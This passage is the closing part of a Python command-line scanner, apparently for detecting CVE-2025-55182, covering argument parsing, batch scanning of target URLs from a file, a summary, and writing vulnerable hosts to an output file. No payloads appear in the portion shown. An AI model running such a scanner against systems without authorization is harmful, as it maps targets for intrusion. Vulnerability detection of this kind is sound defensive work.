      Gadget categories: """ + ", ".join(GADGET_CATEGORIES.keys()) + """

      All techniques are tested to provide comprehensive coverage.
      Always obtain proper authorization before testing any systems.
"""

    parser = argparse.ArgumentParser(
        description="CVE-2025-55182 Vulnerability Detector - Enhanced Edition",
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog=epilog
    )

    parser.add_argument(
        "target",
        nargs="?",
        help="Target URL (e.g., http://target.com:3000)"
    )

    parser.add_argument(
        "-f", "--file",
        help="File containing target URLs (one per line)"
    )

    parser.add_argument(
        "-e", "--endpoint",
        default="/formaction",
        help="API endpoint path (default: /formaction)"
    )

    parser.add_argument(
        "-t", "--timeout",
        type=float,
        default=10.0,
        help="Request timeout in seconds (default: 10)"
    )

    parser.add_argument(
        "--no-ssl-verify",
        action="store_true",
        help="Disable SSL certificate verification"
    )

    parser.add_argument(
        "-q", "--quiet",
        action="store_true",
        help="Quiet mode (minimal output)"
    )

    parser.add_argument(
        "--log",
        action="store_true",
        help="Enable verbose logging (print all raw HTTP requests and responses)"
    )

    parser.add_argument(
        "-o", "--output",
        help="Output file to write vulnerable hosts (e.g., vulnerable.txt)"
    )

    args = parser.parse_args()

    # Validate arguments
    if not args.target and not args.file:
        parser.error("Either provide a target URL or use --file to specify a file with targets")

    if args.target and args.file:
        parser.error("Cannot specify both a target URL and --file option. Choose one.")

    if not args.quiet:
        print_banner()

    # Determine targets to test
    targets = []
    if args.file:
        targets = read_targets_from_file(args.file)
        if not targets:
            print("[!] No valid targets found in file")
            sys.exit(1)
        if not args.quiet:
            print(f"[*] Loaded {len(targets)} target(s) from file")
            print()
    else:
        targets = [args.target]

    # Create detector
    detector = VulnerabilityDetector(
        timeout=args.timeout,
        verify_ssl=not args.no_ssl_verify,
        log_requests=args.log
    )

    if args.log and not args.quiet:
        print("[*] Verbose logging enabled - all raw HTTP requests/responses will be displayed")
        print()

    try:
        all_results = []
        vulnerable_count = 0

        # Run detection for each target
        for idx, target in enumerate(targets):
            if len(targets) > 1 and not args.quiet:
                print(f"\n[*] Testing target {idx + 1}/{len(targets)}")

            results = detector.detect_vulnerability(target, args.endpoint)
            all_results.append(results)

            if results["vulnerable"]:
                vulnerable_count += 1

            # Print results
            if not args.quiet:
                # Show separator for first result, dash separator for subsequent
                show_separator = (idx == 0)
                print_results(results, show_separator=show_separator)

        # Print summary for batch processing
        if len(targets) > 1 and not args.quiet:
            print()
            print("=" * 70)
            print("SUMMARY")
            print("=" * 70)
            print(f"Total targets tested:  {len(targets)}")
            print(f"Vulnerable:            {vulnerable_count}")
            print(f"Not vulnerable:        {len(targets) - vulnerable_count}")
            print("=" * 70)

        # Write vulnerable hosts to output file if specified
        if args.output and vulnerable_count > 0:
            try:
                vulnerable_hosts = [
                    result["target"] for result in all_results if result["vulnerable"]
                ]
                with open(args.output, 'w') as f:
                    for host in vulnerable_hosts:
                        f.write(f"{host}\n")
                if not args.quiet:
                    print(f"\n[+] Wrote {len(vulnerable_hosts)} vulnerable host(s) to {args.output}")
            except Exception as e:
                print(f"\n[!] Error writing to output file: {e}")

        # Exit with appropriate code
        sys.exit(0 if vulnerable_count == 0 else 1)

    except KeyboardInterrupt:
        print("\n[!] Detection interrupted by user")
        sys.exit(130)
    except Exception as e:
        print(f"\n[!] Error: {e}")
        sys.exit(1)


if __name__ == "__main__":
    main()